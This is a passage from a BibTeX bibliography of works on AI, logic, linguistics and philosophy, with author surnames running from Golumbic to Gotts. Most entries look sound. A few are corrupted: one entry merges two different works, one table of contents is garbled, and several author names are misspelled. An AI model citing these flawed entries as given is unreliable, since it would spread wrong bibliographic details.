"Spatial + processing in animals and humans: the organizing + function of representations for information + gathering" + 14. Lynn Nadel, "Neural mechanisms of spatial orientation and + wayfinding: an overview" + 15. Alain Berth\'ez, Michel-Ange Amorim, Stephan Glasauer, + Renato Grasso, Yasuiko Takei, and Isabelle + Viaud-Delmon, "Dissociation between distance and + direction during locomotor navigation" + 16. Eric Chown, "Error tolerance and generalization in + cognitive maps: performance without precision" + } , + topic = {spatial-reasoning;cognitive-psychology;human-navigation; + animal-navigation;} + } + +@inproceedings{ golumbic-shamir:1992a, + author = {Martin Golumbic and Ron Shamir}, + title = {Algorithms and Complexity for Reasoning about Time}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {741--747}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;kr-complexity-analysis;temporal-reasoning;kr-course;} + } + +@article{ gomes-selman:2001a, + author = {Carla P. Gomes and Bart Selman}, + title = {Algorithm Portfolios}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {126}, + number = {1--2}, + pages = {43--62}, + topic = {search;AI-algorithms;anytime-algorithms;} + } + +@article{ gomez-segami:1997a, + author = {Fernando Gomez and Carlos Segami}, + title = {Determining Prepositional Attachment, Prepositional + Meaning, Verb Meaning, and Thematic Roles}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {1}, + pages = {1--31}, + topic = {prepositions;nl-interpretation;thematic-roles;verb-semantics;} + } + +@incollection{ gomez_f:1998a, + author = {Fernando Gomez}, + title = {Linking {W}ord{N}et Verb Classes to Semantic + Interpretation}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {58--64}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;computational-semantics;} + } + +@incollection{ gomezhidalgo-rodriguez:1997a, + author = {Jos\'e Gomez-Hidalgo and Manuel de Buenaga + Rodriguez}, + title = {Integrating a Lexical Database and a + Training Collection for Text Categorization}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + pages = {39--44}, + address = {New Brunswick, New Jersey}, + topic = {document-classification;statistical-nlp;} + } + +@article{ gomeztorrente:2000a, + author = {Mario G\'omez-Torrente}, + title = {A Note on Formality and Logical Consequence}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {5}, + pages = {529--539}, + topic = {logical-consequence;validity;} + } + +@article{ gomeztorrente:2002a, + author = {March G\'omez-Torrente}, + title = {The Problem of Logical Constants}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {1}, + pages = {1--37}, + topic = {logical-constants;} + } + +@article{ gomolonska:1997a, + author = {Anna Gomoli\'nska}, + title = {On the Logic of Acceptance and Rejection}, + journal = {Studia Logica}, + year = {1997}, + volume = {60}, + number = {2}, + pages = {233--251}, + topic = {nonmonotonic-logic;autoepistemic-logic;epistemic-logic;} + } + +@phdthesis{ gonnerman:1999a, + author = {Laura Michelle Gonnerman}, + title = {Morphology and the Lexicon: Exploring the Semantics-Phonology + Interface}, + school = {University of Southern California}, + year = {1999}, + type = {Ph.{D}. Dissertation}, + address = {Los Angeles}, + topic = {semantics;phonology;} + } + +@incollection{ gonzalez_aj-sacki:2001a, + author = {Avelino J. Gonzalez and Shinya Sacki}, + title = {Using Contexts Competition to Model Tactical Human + Behavior in a Simulation}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {453--456}, + address = {Berlin}, + topic = {context;cognitive-modeling;decision-making;} + } + +@book{ gonzalez_m:1994a, + editor = {M. Gonzalez}, + title = {{NELS 24}: Proceedings of the Twenty-Fourth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1994}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@article{ good:1953a, + author = {I.J. Good}, + title = {The Population Frequencies of Species and the + Estimation of Population Parameters}, + journal = {Biometrika}, + year = {1953}, + volume = {40}, + pages = {237--264}, + missinginfo = {A's 1st name, number}, + topic = {population-statistics;frequency-estimation;} + } + +@inproceedings{ goodall:1987a, + author = {G. Goodall}, + title = {On Argument Structure and {L}-Marking with {M}andarin Ba}, + booktitle = {{NELS 17}: Proceedings of the Seventeenth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + year = {1987}, + editor = {Joyce McDonough and B. Plunkett}, + publisher = {GLSA Publications}, + address = {Amherst, Massachusetts}, + missinginfo = {A's 1st name, pages}, + topic = {argument-structure;Chinese-language;} + } + +@article{ goodenough:1956a, + author = {Ward H. Goodenough}, + title = {Componential Analysis and the Study of Meaning}, + journal = {Language}, + year = {1956}, + volume = {32}, + pages = {195--215}, + missinginfo = {number}, + topic = {semantic-fields;lexical-semantics;cultural-anthropology;} + } + +@book{ goodluck-rochemont:1992a, + editor = {Helen Goodluck and Michael Rochemont}, + title = {Island Constraints: Theory, Acquisition, and Processing}, + publisher = {Kluwer Academic Publishers}, + year = {1992}, + address = {Dordrecht}, + ISBN = {0792316894}, + topic = {syntactic-islands;} + } + +@book{ goodman_ir:1991a, + editor = {Irwin R. Goodman}, + title = {Conditional Logic in Expert Systems}, + publisher = {North-Holland}, + year = {1991}, + address = {Amsterdam}, + ISBN = {0444888195}, + topic = {conditionals;logic-in-cs;expert-systems;} + } + +@book{ goodman_ir-etal:1991a, + author = {Irwin R. Goodman and H.T. Nguyen and E.A. Walker}, + title = {Conditional Inference and Logic for Intelligent Systems: + A Theory of Measure-Free Conditioning}, + publisher = {North-Holland}, + year = {1991}, + address = {Amsterdam}, + ISBN = {0444886850}, + topic = {probability--semantics;probability-kinematics;} + } + +@inproceedings{ goodman_j:1996a, + author = {Joshua Goodman}, + title = {Parsing Algorithms and Metrics}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {177--183}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {parsing-algorithms;software-engineering;} + } + +@incollection{ goodman_j:1996b, + author = {Joshua Goodman}, + title = {Efficient Algorithms for Parsing the {DOP} Model}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {143--152}, + address = {Somerset, New Jersey}, + contentnote = {"DOP" is "Data Oriented Parsing". Term is + due to Remko Scha.}, + topic = {parsing-algorithms;corpus-statistics;} + } + +@incollection{ goodman_j:1997a, + author = {Joshua Goodman}, + title = {Global Thresholding and Multiple-Pass + Parsing}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {11--25}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;parsing-algorithms; + statistical-nlp;} + } + +@article{ goodman_j:1999a, + author = {Joshua Goodman}, + title = {Semiring Parsing}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {4}, + pages = {573--603}, + topic = {parsing-algorithms;} + } + +@book{ goodman_k-nirenburg:1991a, + editor = {Kenneth Goodman and Sergei Nirenburg}, + title = {The {KBMT} Project: A Case Study in Knowledge-Based + Machine Translation}, + publisher = {Morgan Kaufmann}, + year = {1991}, + address = {San Mateo, California}, + ISBN = {1-558-60129-5}, + topic = {machine-translation;} + } + +@article{ goodman_n:1947a, + author = {Nelson Goodman}, + title = {The Problem of Counterfactual Conditionals}, + journal = {The Journal of Philosophy}, + year = {1947}, + volume = {44}, + pages = {113--118}, + missinginfo = {number}, + xref = {Reprinted in goodman_n:1955a.}, + topic = {conditionals;dispositions;} + } + +@article{ goodman_n:1949a1, + author = {Nelson Goodman}, + title = {On Likeness of Meaning}, + journal = {Analysis}, + year = {1949}, + volume = {10}, + missinginfo = {number, pages}, + xref = {Republication: goodman_n:1949a2.}, + topic = {synonymy;philosophy-of-language;} + } + +@incollection{ goodman_n:1949a2, + author = {Nelson Goodman}, + title = {On Likeness of Meaning}, + booktitle = {Semantics and the Philosophy of Language}, + publisher = {University of Illinois Press}, + year = {1952}, + editor = {Leonard Linsky}, + pages = {67--74}, + address = {Urbana, Illinois}, + xref = {Republication of: goodman_n:1949a1.}, + topic = {synonymy;philosophy-of-language;} + } + +@book{ goodman_n:1951a, + author = {Nelson Goodman}, + title = {The Structure of Appearance}, + edition = {1}, + publisher = {Harvard University Press}, + year = {1951}, + address = {Cambridge, Massachusetts}, + topic = {phenomenalism;} + } + +@book{ goodman_n:1955a, + author = {Nelson Goodman}, + title = {Fact, Fiction and Forecast}, + publisher = {Harvard University Press}, + year = {1955}, + topic = {conditionals;induction;(un)natural-predicates;} + } + +@incollection{ goodman_n:1963a, + author = {Nelson Goodman}, + title = {The Significance of {\em {D}er {l}ogische {A}ufbau {d}er {W}elt}}, + booktitle = {The Philosophy of {R}udolph {C}arnap}, + publisher = {Open Court}, + year = {1963}, + pages = {545--558}, + editor = {Paul Schilpp}, + address = {LaSalle, Illinois}, + topic = {Carnap;logical-empiricism;} + } + +@book{ goodman_n:1968a, + author = {Nelson Goodman}, + title = {Languages of Art: An Approach to a Theory of Symbols}, + publisher = {The Bobbs-Merrill Company}, + year = {1968}, + address = {Indianapolis}, + topic = {aesthetics;metaphor;speaker-meaning;pragmatics; + representation;} + } + +@book{ goodman_n:1977a, + author = {Nelson Goodman}, + title = {The Structure of Appearance}, + edition = {3}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + address = {Dordrecht}, + topic = {phenomenalism;} + } + +@article{ goodman_n:1977b, + author = {Nelson Goodman}, + title = {The Trouble with {R}oot}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {2}, + pages = {277--278}, + xref = {Comment on root:1977a.}, + topic = {synonymy;philosophy-of-language;} + } + +@incollection{ goodman_n:1978a, + author = {Nelson Goodman}, + title = {Predicates without Properties}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {347--348}, + address = {Minneapolis}, + topic = {nominalistic-semantics;} + } + +@book{ goodman_n:1978b, + author = {Nelson Goodman}, + title = {Ways of Worldmaking}, + publisher = {Hackett Publishing Co.}, + year = {1978}, + address = {Indianapolis}, + topic = {aesthetics;} + } + +@book{ goodman_n-elgin:1988a, + author = {Nelson Goodman and Catherine Z. Elgin}, + title = {Reconceptions in Philosophy and Other Arts and Sciences}, + publisher = {Hackett Publishing Co.}, + year = {1988}, + address = {Indianapolis}, + topic = {aesthetics;reconception;metaphilosophy;} + } + +@book{ goodwin_c:1981a, + author = {C. Goodwin}, + title = {Conversational Organization: Interaction Between Speakers and + Hearers}, + publisher = {Academic Press}, + year = {1981}, + address = {New York}, + missinginfo = {A's 1st name}, + topic = {sociolinguistics;discourse;conversation-analysis;pragmatics;} + } + +@inproceedings{ goodwin_r:1994a, + author = {Richard Goodwin}, + title = {Reasoning about When to Start Acting}, + booktitle = {Proceedings of 2nd International Conference on AI + Planning Systems}, + year = {1994}, + editor = {K. Hammond}, + pages = {86--91}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {planning;plan-exection;} + } + +@techreport{ goodwin_sd-trudel:1989a, + author = {Scott D. Goodwin and Andr\'e Trudel}, + title = {Persistence in Continuous First-Order Temporal Logics}, + institution = {Department of Computing Science, The University of + Alberta}, + number = {TR 89--24}, + year = {1989}, + address = {Edmonton}, + topic = {temporal-reasoning;frame-problem;nonmonotonic-logic; + continuous-change;} + } + +@incollection{ goodwin_sd-etal:1991a, + author = {Scott D. Goodwin and Eric Neufeld and Andr\'e Trudel}, + title = {Probabilistic Regions of Persistence}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {182--189}, + address = {Berlin}, + contentnote = {This paper deals with the fact that in fact + circumstances are not expected to go unchanged indefinitely.}, + topic = {temporal-reasoning;frame-problem;} + } + +@book{ goosens-rahtz:1999a, + author = {Michael Goosens and Sebastian Rahtz}, + title = {The \LaTeX{} Web Companion}, + publisher = {Addison Wesley}, + year = {1999}, + address = {Reading, Massachusetts}, + ISBN = {0-201-43311-7}, + topic = {html;internet-technology;computer-assisted-document-preparation; + LaTeX-manual;} + } + +@book{ gopnik:1997a, + editor = {Myrna M. Gopnik}, + title = {The Inheritance and Innateness of Grammars}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + contentnote = {TC: + 1. Myrna Gopnik, "Introduction" + 2. Patricia K. Kuhl and Andrew N. Meltzoff, "Evolution, + Nativism and Learning in the Development of Language + and Speech" + 3. Laura Ann Petitto, "In the Beginning: On the Genetic and + Environmental Factors that Make Early Language + Acquisition Possible" + 4. Martha B. Crago, Shanley E.M. Allen and Wendy P. + Hough-Eyamie, "Exploring Innateness through Cultural + and Linguistic Variation" + 5. J. Bruce Tomblin, "Epidemiology of Specific Language + Impairment" + 6. Myrna Gopnik and Jenny Dalalakis, "The Biological Basis of + Language: Familial Language Impairment" + 7. Suzy E. Fukuda and Shinji Fukuda, "Dalalakis," + 10. Harald Clahsen and Detlef Hansen, "The Grammatical + Agreement Deficit in Specific Language Impairment: + Evidence from Therapy Experiments" + 11. Judith R. Johnston, "Specific Language Impairment, + Cognition and the Biological Basis of Language" + 12. Steven Pinker, "Evolutionary Biology and the Evolution of + Language" + 13. Harvey M. Sussman, "A Neurobiological Approach to the + Noninvariance Problem in Stop Consonant + Categorization" + } , + ISBN = {ISBN 0-19-511534-1 (paper), 0-19-511533-3 (cloth)}, + topic = {L1-acquisition;innateness-of-language-ability;} + } + +@incollection{ gopnik_a-wellman_hm:1995a, + author = {Alsion Gopnik and Henry M. Wellman}, + title = {Why the Child's Theory of Mind Really {\em Is} a Theory}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {259--273}, + address = {Oxford}, + topic = {folk-psychology;developmental-psychology; + mental-simulation;propositional-attitude-ascription;} + } + +@book{ gopnik_a-melznoff:1996a, + author = {Alison Gopnik and Andrew N. Melznoff}, + title = {Words, Thoughts, and Theories}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {L1-acquisition;} + } + +@book{ gopnik_a-mettzoff:1997a, + author = {Allison Gopnik and Andrew N. Mettzoff}, + title = {Words, Thoughts, and Theories}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + contentnote = {This presents and defends the "theory theory" + of reasoning about attitudes.}, + topic = {developmental-psychology;cognitive-psychology;} + } + +@incollection{ gopnik_m:1976a, + author = {Myrna Gopnik}, + title = {What the Theorist Saw}, + booktitle = {Assessing Linguistic Arguments}, + publisher = {Hemisphere Publishing Corporation}, + year = {1976}, + editor = {Jessica R. Wirth}, + pages = {217--248}, + address = {Washington, D.C.}, + topic = {philosophy-of-linguistics;foundations-of-linguistics;} + } + +@article{ goranko:1996a, + author = {Valentin Goranko}, + title = {Hierarchies of Modal and Temporal Logics With Reference + Pointers}, + journal = {Journal of Logic, Language, and Information}, + year = {1996}, + volume = {5}, + number = {1}, + pages = {1--24}, + contentnote = {These are fairly powerful extensions of the propositional + logics; validity is undecidable.}, + topic = {modal-logic;temporal-logic;} + } + +@article{ goranko:1998a, + author = {Valentin Goranko}, + title = {Axiomatizations with Context Rules of Inference + in Modal Logic}, + journal = {Studia Logica}, + year = {1998}, + volume = {61}, + number = {2}, + pages = {179--197}, + contentnote = {The formalization uses rules of proof that apply + only on certain contexts.}, + topic = {proof-theory;modal-logic;} + } + +@article{ goranko:1999a, + author = {Valentin Goranko}, + title = {Review of {\em Modal Logic}, + by {A}lexander {C}hagov and {M}ichael {Z}akharyaschev}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {7}, + number = {1}, + pages = {255--258}, + xref = {Review of: chagov-zakharyaschev:1997a}, + topic = {modal-logic;} + } + +@article{ goranko:1999b, + author = {Valentin Goranko}, + title = {Review of {\em Reasoning about Knowledge}, + by {R}onald {F}agin and {J}oseph {Y}. {H}alpern and {Y}oram {M}oses + and {M}oshe {Y}. {V}ardi}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {4}, + pages = {469--473}, + xref = {Review of fagin-etal:1995b.}, + topic = {epistemic-logic;distributed-systems;communication-protocols; + game-theory;} + } + +@book{ gordolopez-parker_i:1999a, + editor = {Angel J. Gordo-Lopez and Ian Parker}, + title = {Cyberpsychology}, + publisher = {Routledge}, + year = {1999}, + address = {London}, + ISBN = {0 415 (Hb), 0 415 (Pb)}, + topic = {philsophy-of-psychology;} + } + +@incollection{ gordon_d-lakoff:1975a1, + author = {D. Gordon and George Lakoff}, + title = {Conversational Postulates}, + booktitle = {Syntax and Semantics 3: Speech Acts}, + publisher = {Academic Press}, + year = {1975}, + editor = {Peter Cole and Jerry Morgan}, + pages = {83--106}, + address = {New York}, + topic = {implicature;pragmatics;generative-semantics;} + } + +@article{ gordon_j-shortliffe:1985a, + author = {Jean Gordon and Edward Shortliffe}, + title = {A Method of Managing Evidential Reasoning in a Hierarchical + Hypothesis Space}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {26}, + number = {3}, + pages = {323--357}, + acontentnote = {Abstract: + Although informal models of evidential reasoning have been + successfully applied in automated reasoning systems, it is + generally difficult to define the range of their applicability. + In addition, they have not provided a basis for consistent + management of evidence bearing on hypotheses that are related + hierarchically. The Dempster-Shafer (D-S) theory of evidence is + appealing because it does suggest a coherent approach for + dealing with such relationships. However, the theory's + complexity and potential for computational inefficiency have + tended to discourage its use in reasoning systems. In this + paper we describe the central elements of the D-S theory, basing + our exposition on simple examples drawn from the field of + medicine. We then demonstrate the relevance of the D-S theory + to a familiar expert-system domain, namely the + bacterial-organism identification problem that lies at the heart + of the MYCIN system. Finally, we present a new adaptation of + the D-S approach that achieves computational efficiency while + permitting the management of evidential reasoning within an + abstraction hierarchy.}, + topic = {probabilistic-reasoning;expert-systems;abduction; + reasoning-about-uncertainty;diagnosis;Dempster-Shafer-theory;} + } + +@article{ gordon_j-shortliffe:1993a, + author = {Jean Gordon and Edward H. Shortliffe}, + title = {A Method for Managing Evidential Reasoning in a + Hierarchical Hypothesis Space---A Retrospective}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {43--47}, + xref = {Retrospective commentary on gordon_j-shortliffe:1985a.}, + topic = {probabilistic-reasoning;expert-systems; + reasoning-about-uncertainty;} + } + +@incollection{ gordon_pc-hendrick:1999a, + author = {Peter C. Gordon and Randall Hendrick}, + title = {Comprehension of Coreferential Expressions}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {82--89}, + address = {New Brunswick, New Jersey}, + topic = {anaphora;nl-comprehension-psychology;} + } + +@incollection{ gordon_rm:1986a, + author = {Robert M. Gordon}, + title = {The Circle of Desire}, + booktitle = {The Ways of Desire: New Essays in Philosophical + Psychology on the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + editor = {Joel Marks}, + pages = {101--114}, + address = {Chicago}, + contentnote = {Discusses dependencies of desires on one another.}, + topic = {desire;philosophical-psychology;practical-reasoning;} + } + +@incollection{ gordon_rm:1995a, + author = {Robert M. Gordon}, + title = {Simulation without Introspection or + Interference from Me to You}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {53--67}, + address = {Oxford}, + topic = {folk-psychology;mental-simulation; + propositional-attitude-ascription;} + } + +@incollection{ gordon_rm:1995b, + author = {Robert M. Gordon}, + title = {Folk Psychology as Simulation}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {60--73}, + address = {Oxford}, + topic = {folk-psychology;mental-simulation; + propositional-attitude-ascription;} + } + +@incollection{ gordon_rm:1995c, + author = {Robert M. Gordon}, + title = {The Simulation Theory: Objections + and Misconceptions}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {101--124}, + address = {Oxford}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation;propositional-attitude-ascription;} + } + +@incollection{ gordon_rm:1995d, + author = {Robert M. Gordon}, + title = {Reply to {S}tich and {N}ichols}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {174--184}, + address = {Oxford}, + topic = {folk-psychology;mental-simulation; + propositional-attitude-ascription;} + } + +@incollection{ gordon_rm:1995e, + author = {Robert M. Gordon}, + title = {Reply to {P}erner and {H}owes}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {185--190}, + address = {Oxford}, + topic = {folk-psychology;mental-simulation; + propositional-attitude-ascription;} + } + +@article{ gordon_rm:1995f, + author = {Robert M. Gordon}, + title = {Sympathy, Simulation, and the Impartial Spectator}, + journal = {Ethics}, + year = {1995}, + volume = {105}, + pages = {727--742}, + missinginfo = {number}, + topic = {propositional-attitude-ascription;} + } + +@unpublished{ gordon_rm:1998a, + author = {Robert M. Gordon}, + title = {Folk Psychology as Mental Simulation}, + year = {1998}, + note = {Stanford Encyclopedia of Philosophy. + http://plato.stanford.edu/archives/sum1998/entries/folkpsych-simulation/}, + topic = {folk-psychology;mental-simulation; + propositional-attitude-ascription;} + } + +@article{ gore:2000b, + author = {Rajeev Gor\'e}, + title = {Review of {\em Displaying Modal Logic}, + by {H}einrich {W}ansing}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {2}, + pages = {269--272}, + xref = {Review of: wansing:1998b.}, + topic = {display-logic;} + } + +@article{ gorogiannis-ryan:2002a, + author = {Nikos Gorogiannis and Mark D. Ryan}, + title = {Implementation of Belief Change Operators using {BDD}'s}, + journal = {Studia Logica}, + year = {2002}, + volume = {68}, + number = {1}, + pages = {131--156}, + topic = {belief-revision;} + } + +@article{ gorovitz:1965a, + author = {Samuel Gorovitz}, + title = {Causal Judgements and Causal Explanations}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {23}, + pages = {695--711}, + topic = {causality;explanation;} + } + +@article{ goto-nojima:1995a, + author = {Shigeki Goto and Hisao Nojima}, + title = {Equilibrium Analysis of the Distribution of Information in + Human Society}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {1}, + pages = {115--130}, + acontentnote = {Abstract: + This paper applies equilibrium analysis in micro-economics to + analyze a stable structure in a model of human society. The + structure is observed in the study of the distribution of + information. It forms a three-layered hierarchy. These layers + are called brains, gatekeepers and end users. + The three-layer structure is widely observed in a variety of + research fields. For example, in computer networks, core + gateways correspond to brains, stub gateways behave like + gatekeepers, and local networks are end users. The three-layer + model is considered to be an essential extension of the popular + ``client-server'' concept in computer science. + This paper calculates the supply and demand curves in + micro-economics to show how the equilibrium is established. The + law of diminishing utility is utilized to represent the + distribution of information or knowledge. The calculations are + straightforward if the dependence of the end users on the other + layers is taken into account. The results can explain many + properties of the three-layer model.}, + topic = {artificial-societies;} + } + +@article{ gottlieb-davis_lh:1974a, + author = {Dale V. Gottlieb and Lawrence H. Davis}, + title = {Extensionality and Singular Causal Sentences}, + journal = {Philosophical Studies}, + year = {1974}, + volume = {25}, + pages = {69--72}, + missinginfo = {number}, + topic = {causality;intensional-transitive-verbs;intensionality;} + } + +@article{ gottlieb:1975a, + author = {Dale Gottlieb}, + title = {Rationality and the Theory of Projection}, + journal = {No\^us}, + year = {1975}, + volume = {9}, + number = {3}, + pages = {319--328}, + topic = {projectable-predicates;} + } + +@article{ gottlieb:1978a, + author = {Dale Gottlieb}, + title = {The Truth about Arithmetic}, + journal = {American Philosophical Quarterly}, + year = {1978}, + volume = {15}, + number = {2}, + pages = {81--90}, + topic = {philosophy-of-mathematics;truth;} + } + +@article{ gottlieb-mccarthy_t:1979a, + author = {Dale Gottlieb and Timothy McCarthy}, + title = {Substitutional Quantification and Set Theory}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {3}, + pages = {315--331}, + topic = {substitutional-quantification;foundations-of-set-theory; + philosophical-ontology;} + } + +@inproceedings{ gottlob:1993a, + author = {Georg Gottlob}, + title = {The Power of Beliefs: Or Translating Default Logic Into + Standard Autoepistemic Logic}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {570--575}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {kr;default-logic;autoepistemic-logic;} + } + +@article{ gottlob-fermuller:1993a, + author = {Georg Gottlob and Christian G. Ferm\"uller}, + title = {Removing Redundancy from a Clause}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {2}, + pages = {263--289}, + acontentnote = {Abstract: + This paper deals with the problem of removing redundant literals + from a given clause. We first consider condensing, a weak type + of redundancy elimination. A clause is condensed if it does not + subsume any proper subset of itself. It is often useful (and + sometimes necessary) to replace a non-condensed clause C by a + condensation, i.e., by a condensed subset of C which is subsumed + by C. After studying the complexity of an existing clause + condensing algorithm, we present a more efficient algorithm and + provide arguments for the optimality of the new method. We prove + that testing whether a given clause is condensed is + co-NP-complete and show that several problems related to clause + condensing belong to complexity classes that are, probably, + slightly harder than NP. We also consider a stronger version of + redundancy elimination: a clause C is strongly condensed iff it + does not contain any proper subset C' such that C logically + implies C'. We show that the problem of testing whether a clause + is strongly condensed is undecidable. + } , + topic = {complexity-in-AI;redundant-literals;decidability;} + } + +@inproceedings{ gottlob-etal:1999a, + author = {Georg Gottlob and Erich Gr\"adel and Helmut Veith}, + title = {Datalog {LITE}: Temporal Versus Deductive Reasoning + in Verification}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {logic-programming;program-verification;} + } + +@incollection{ gottlob-etal:2000a, + author = {Georg Gottlob and Erich Gr\"adel and Helmut Veith}, + title = {Linear Time Datalog and Branching Time Logic}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {443--467}, + address = {Dordrecht}, + title = {A Comparison of Structural {CSP} Decomposition + Methods}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {124}, + number = {2}, + pages = {243--282}, + topic = {constraint-satisfaction;AI-algorithms;AI-algorithms-analysis;} + } + +@article{ gottlob-etal:2002a, + author = {Georg Gottlob and Francesco Scarcello and Martha Sideri}, + title = {Fixed-Parameter Complexity in {AI} and Nonmonotonic Reasoning}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {138}, + number = {1--2}, + pages = {55--86}, + topic = {nonmonotonic-reasoning;circumscription;complexity-in-AI;} + } + +@incollection{ gottlob_g:1994a, + author = {Georg Gottlob}, + title = {From {C}arnap's Modal Logic to Autoepistemic Logic}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {1--18}, + address = {Berlin}, + contentnote = {Technical results relating Carnap's state description + approach to autoepistemic logic.}, + topic = {autoepistemic-logic;modal-logic;} + } + +@article{ gottlob_g-mingyi:1994a, + author = {Georg Gottlob and Zhang Mingyi}, + title = {Cumulative Default Logic: Finite Characterization, + Algorithms, and Complexity}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {69}, + number = {1--2}, + pages = {329--345}, + topic = {default-logic;nonmonotonic-reasoning;complesxity-in-AI;} + } + +@incollection{ gottlob_g:1996a, + author = {Georg Gottlob}, + title = {Complexity and Power of {KR} Formalisms (Abstract)}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {647--649}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;kr-course;} + } + +@incollection{ gotts:1994a, + author = {N.M. Gotts}, + title = {How Far Can We `C'? Defining a Doughnut Using Connection Alone}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = 